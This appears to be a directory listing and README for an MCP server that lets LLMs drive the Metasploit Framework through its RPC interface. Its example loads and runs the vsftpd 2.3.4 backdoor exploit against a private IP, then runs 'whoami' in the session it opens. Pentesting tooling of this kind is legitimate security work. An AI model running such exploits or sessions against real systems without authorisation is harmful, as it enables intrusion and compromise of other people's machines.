mcp-pymetasploit3
Enables interaction with Metasploit Framework via the msfrpc protocol, exposing tools for module management, session control, and exploitation through MCP.
README
mcp-pymetasploit3
MCP server for Metasploit Framework via pymetasploit3. This server exposes all pymetasploit3 functionality as MCP tools, allowing LLMs to interact with Metasploit Framework through the msfrpc protocol.
Install
pip install mcp-pymetasploit3
MCP Server Configuration
{
"mcpServers": {
"mcp-pymetasploit3": {
"command": "mcp-pymetasploit3",
"env": {}
}
}
}
Usage
Starting Metasploit RPC Server
Before using the MCP server, you need to start the Metasploit RPC server:
Using msfrpcd:
msfrpcd -P yourpassword -p 55553 -n
Using msfconsole:
msfconsole -q
msf6 > load msgrpc Pass=yourpassword
MCP Tools
Once connected, the following tools are available:
Connection Management
connect- Connect to Metasploit RPC serverdisconnect- Disconnect from RPC serverget_client_info- Get current connection status
Module Management
list_modules- List available modules by typeuse_module- Load a specific moduleget_module_info- Get module description and infoget_module_options- Get all module optionsset_module_option- Set a module optionget_missing_required- Get required options not setexecute_module- Execute a moduleget_module_targets- Get available targetsset_module_target- Set the targetget_target_payloads- Get compatible payloads
Payload Generation
generate_payload- Generate a payload
Session Management
list_sessions- List all active sessionsget_session_info- Get session informationinteract_session- Write/read from sessionsession_run_command- Run command with outputstop_session- Stop a session
Console Management
create_console- Create a new consoledestroy_console- Destroy a consolewrite_console- Write to consoleread_console- Read console outputconsole_is_busy- Check if console is busyrun_module_output- Execute module and get output
Core/Framework
get_framework_version- Get framework versioncore_save- Save core statecore_reload_modules- Reload modulescore_set_global- Set global variablecore_unset_global- Unset global variable
Database
get_db_status- Get database statusdb_list_workspaces- List workspacesdb_set_workspace- Set current workspacedb_list_hosts- List hostsdb_list_services- List servicesdb_list_notes- List notesdb_list_creds- List credentialsdb_list_vulns- List vulnerabilities
Jobs
list_jobs- List running jobsstop_job- Stop a jobget_job_info- Get job information
Plugins
list_plugins- List loaded pluginsload_plugin- Load a pluginunload_plugin- Unload a plugin
Search
search_modules- Search for modulesget_module_references- Get module references
Example
# Connect to Metasploit
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)
# List exploits
exploits = list_modules("exploit")
# Use an exploit
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")
# Set options
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")
# Execute
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")
# List sessions
sessions = list_sessions()
# Interact with session
output = interact_session("1", "whoami")
# Disconnect
disconnect()
Development
git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"
# run tests
pytest
# format
ruff format src/ tests/
# lint
ruff check src/ tests/
# type check
mypy src/
mcp-name: io.github.daedalus/mcp-pymetasploit3
Recommended Servers
playwright-mcp
A Model Context Protocol server that enables LLMs to interact with web pages through structured accessibility snapshots without requiring vision models or screenshots.
Magic Component Platform (MCP)
An AI-powered tool that generates modern UI components from natural language descriptions, integrating with popular IDEs to streamline UI development workflow.
Audiense Insights MCP Server
Enables interaction with Audiense Insights accounts via the Model Context Protocol, facilitating the extraction and analysis of marketing insights and audience data including demographics, behavior, and influencer engagement.
VeyraX MCP
Single MCP tool to connect all your favorite tools: Gmail, Calendar and 40 more.
graphlit-mcp-server
The Model Context Protocol (MCP) Server enables integration between MCP clients and the Graphlit service. Ingest anything from Slack to Gmail to podcast feeds, in addition to web crawling, into a Graphlit project - and then retrieve relevant contents from the MCP client.
Kagi MCP Server
An MCP server that integrates Kagi search capabilities with Claude AI, enabling Claude to perform real-time web searches when answering questions that require up-to-date information.
E2B
Using MCP to run code via e2b.
Neon Database
MCP server for interacting with Neon Management API and databases
Exa Search
A Model Context Protocol (MCP) server lets AI assistants like Claude use the Exa AI Search API for web searches. This setup allows AI models to get real-time web information in a safe and controlled way.
Qdrant Server
This repository is an example of how to create a MCP server for Qdrant, a vector search engine.